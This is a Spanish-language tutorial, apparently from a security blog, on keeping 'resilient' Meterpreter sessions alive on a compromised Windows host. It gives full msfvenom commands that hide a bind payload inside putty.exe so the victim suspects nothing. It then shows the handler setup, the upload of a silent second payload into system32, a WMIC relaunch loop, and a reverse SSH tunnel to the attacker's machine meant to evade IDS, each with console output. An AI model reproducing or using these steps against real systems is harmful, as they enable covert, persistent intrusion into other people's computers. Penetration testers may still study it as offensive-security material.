Creando túnel SSH para sesiones Meterpreter Resilientes
Se trata de una técnica que intenta crear una sesión meterpreter resiliente, lo que quiere decir que si por alguna razón o por error se cierra la sesión meterpreter, esta puede ser iniciada nuevamente y enviada por medio de túneles SSH (tal como se ha visto en entradas anteriores) no crea de ningún modo una backdoor persistente ya que si la maquina remota es reiniciada el proceso de perderá si no se ha garantizado el acceso de forma persistente, sin embargo es un buen mecanismo para habilitar la conexión segura entre víctima y atacante por medio de un mecanismo de autenticación (proporcionado por SSH y Plink tal como en breve se verá) al decir, conexión segura quiero decir, conexión segura para el atacante, además este mecanismo también permite evadir soluciones de IDS que se encuentren establecidas en el entorno de la víctima, aunque en este aspecto Meterpreter por si solo ya realiza un estupendo trabajo de ofuscación y evasión.
El procedimiento que se ha utilizado para conseguir esto es el siguiente:
- En primer lugar es necesario comprometer el sistema objetivo utilizando por ejemplo, un ejecutable malicioso con la utilidad “msfvenom”
>msfvenom -p windows/meterpreter/bind_tcp LPORT=9999 RHOST=192.168.1.40 R -e x86/shikata_gai_nai -i 3 -k -x /home/adastra/Escritorio/putty.exe -f exe > /home/adastra/Escritorio/puttyEvil.exe Con esto se genera un ejecutable malicioso que permite comprometer la maquina objetivo por medio de un programa que para la víctima es “confiable”, cabe anotar que la ejecución del comando anterior mantiene la plantilla de ejecución del programa “putty” de esta forma cuando la víctima ejecuté dicho programa esté funcionará de forma normal sin despertar ninguna sospecha en la víctima.
- Entregar el ejecutable malicioso al objetivo y obtener una sesión meterpreter una vez la víctima ejecuta el programa malicioso
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf exploit(handler) > show optionsModule options (exploit/multi/handler):Name Current Setting Required Description
—- ————— ——– ———–
Payload options (windows/meterpreter/bind_tcp):
Name Current Setting Required Description
—- ————— ——– ———–
EXITFUNC process yes Exit technique: seh, thread, none, process
LPORT 4444 yes The listen port
RHOST no The target address
Exploit target:
Id Name
— —-
0 Wildcard Target
msf exploit(handler) > set LPORT 9999
LPORT => 9999
msf exploit(handler) > set RHOST 192.168.1.40
RHOST => 192.168.1.40
msf exploit(handler) > exploit
[*] Started bind handler
[*] Starting the payload handler…
[*] Sending stage (752128 bytes) to 192.168.1.40
[*] Meterpreter session 1 opened (192.168.1.33:52652 -> 192.168.1.40:9999) at Thu Aug 04 21:43:57 +0200 2011
meterpreter >
Se procede a crear el servicio resiliente en la maquina remota, para esto se crea un directorio que contendra dicho servicio.
meterpreter > cd C:\\WINDOWS\\system32
meterpreter > mkdir SshTrick
Creating directory: SshTrick
meterpreter > cd SshTrickEn párrafos anteriores se ha creado un fichero llamado “puttyEvil.exe” con la utilidad “msfvenom” el cual conservaba la plantilla del ejecutable con el fin de no despertar sospechas en el usuario al ver que el programa “putty” simplemente no hacia absolutamente nada, para obtener la primera sesión meterpreter este mecanismo era perfectamente valido, sin embargo, para obtener una nueva sesión meterpreter “resiliente” es necesario que el programa malicioso se ejecute sin que tenga interacción con la víctima, ya que no tiene sentido que el usuario vea como “salta” la interfaz de Putty en su pantalla sin que él lo haya solicitado explícitamente, por este motivo el fichero ejecutable no puede conservar las funcionalidades de ejecución del programa original (en este caso putty.exe) por lo tanto se procede a crear un nuevo fichero malicioso pero en esta ocasión sin conservar la plantilla de ejecución original, lo que hará que se ejecute como un demonio sin que el usuario se enteré de que se esta ejecutando.
>msfvenom -p windows/meterpreter/bind_tcp LPORT=9999 RHOST=192.168.1.40 R -e x86/shikata_gai_nai -i 3 -x /home/adastra/Escritorio/putty.exe -f exe > /home/adastra/Escritorio/puttyResilient.exe Como se puede apreciar simplemente se ha suprimido la opción “-k” para que no se conserve la plantilla original, ahora se procede a subir este fichero a la maquina comprometida.
meterpreter > upload /home/adastra/Escritorio/puttyResilient.exe
C:\\WINDOWS\\system32\\SshTrick
[*] uploading : /home/adastra/Escritorio/puttyResilient.exe -> C:\WINDOWS\system32\SshTrick
[*] uploaded : /home/adastra/Escritorio/puttyResilient.exe -> C:\WINDOWS\system32\SshTrick\puttyResilient.exe
meterpreter > pwd
C:\WINDOWS\system32\SshTrickAhora con todo establecido en su sitio, se procede al siguiente paso y es la ejecución del fichero malicioso y la posterior creación del túnel SSH utilizando Plink.
- Es necesario ejecutar un comando WMIC de windows que permitirá comprobar si el servicio resiliente se encuentra en ejecución antes de proceder a su ejecución, para esto se pueden utilizar el script meterpreter “wmic” de la siguiente forma
meterpreter > cd C:\\WINDOWS\\system32\\SshTrick meterpreter > run wmic -c «for /L %%i in (1,0,1) do ( process WHERE name=\’puttyResilient.exe\’ get name | find \’puttyResilient\’ && echo ‘meterpreter se encuentra en ejecucion’ || start puttyResilient.exe )»
[*] running command wmic forC:\WINDOWS\system32\SshTrick\36206[*] running command wmic L %%i in (1,0,1) do ( process WHERE name=’puttyResilient.exe’ get name | find ‘puttyResilient’ && echo ‘meterpreter se encuentra en ejecucion’ || start puttyResilient.exe )C:\WINDOWS\system32\SshTrick\36206[*] Error running WMIC commands: Rex::Post::Meterpreter::RequestError core_channel_open: Operation failed: The system cannot find the file specified.[*]Como se puede ver en el comando anterior, en primer lugar ha sido necesario navegar hacia el directorio donde se encuentra el ejecutable malicioso con el fin de poderlo ejecutar, las instrucciones siguientes solamente verifican si el ejecutable se encuentra entre los procesos en ejecución del sistema y si no es así intentará ejecutarlo. Aunque ha lanzado un error al final de su ejecución, se puede apreciar posteriormente que el proceso se ha creado correctamente ejecutando el comando “ps”
meterpreter > ps
Process list============PID Name Arch Session User Path— —- —- ——- —- —-0 [System Process]4 System x86 0
………………………………….
716 puttyEvil.exe x86 0 JDAANIAL-6825E7\jdaanial C:\Documents and Settings\jdaanial\Desktop\puttyEvil.exe
776 puttyResilient.exe x86 0 JDAANIAL-6825E7\jdaanial C:\WINDOWS\system32\SshTrick\puttyResilient.exe
El proceso que se ha creado es el 776.
- Ahora que cuenta con el servicio resiliente levantado escuchando por el puerto “9999” de la maquina comprometida (tal como se había establecido en su creación con msfvenom) ahora se puede crear un puente reverso utilizando Plink. Antiguamente para realizar esta función era necesario de forma manual, subir el ejecutable de Plink y exportar la clave del registro de “host conocidos” a la maquina comprometida, sin embargo existe un script de Meterpreter que permite realizar todas estas tareas desde una única ejecución de la siguiente forma:
meterpreter > run win32-sshclient -H 192.168.1.33 -u root -P password -R 5555:127.0.0.1:9999 -2 -N
[*] ——-Executing Client ——
meterpreter >Con lo anterior se crea un tunel reverso desde la maquina comprometida hacia la maquina del atacante (192.168.1.33) de esta forma cualquier conexión ejecutada desde la maquina comprometida por el puerto “9999” será redireccionadá a la maquina del atacante en el puerto “5555”, por otro lado se indican las opciones “-2” y “-N” que indican que se fuerza utilizar SSHv2 (-2) y que no se iniciará una consola con la ejecución del comando anterior, solamente se creará un proceso de “background” (-N). Desde la maquina del atacante podra verse como el puerto “5555” habilitado:
netstat -ano | grep 5555
tcp 0 0 0.0.0.0:5555 0.0.0.0:* LISTEN off (0.00/0/0)tcp6 0 0 :::5555 :::* LISTEN off (0.00/0/0) - Desde la maquina del atacante será posible establecer una conexión contra la maquina de la víctima utilizando el puerto local 5555
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf exploit(handler) > set LPORT 5555
LPORT => 5555
msf exploit(handler) > set RHOST 127.0.0.1
RHOST => 127.0.0.1
msf exploit(handler) > exploit
[*] Started bind handler
[*] Starting the payload handler…
[*] Sending stage (752128 bytes) to 127.0.0.1
[*] Meterpreter session 1 opened (127.0.0.1:45539 -> 127.0.0.1:5555) at Sat Aug 06 18:55:05 +0200 2011
meterpreter >
Como se puede apreciar del comando anterior, la conexión se ha establecido completamente desde la maquina local del atacante utilizando el puerto 5555 donde SSH se encargará posteriormente de realizar la conexión cifrada con la víctima.
Finalmente si la sesión meterpreter original se pierde por cualquier motivo, se puede utilizar el puente SSH para establecer una nueva sesión utilizando el proceso resiliente.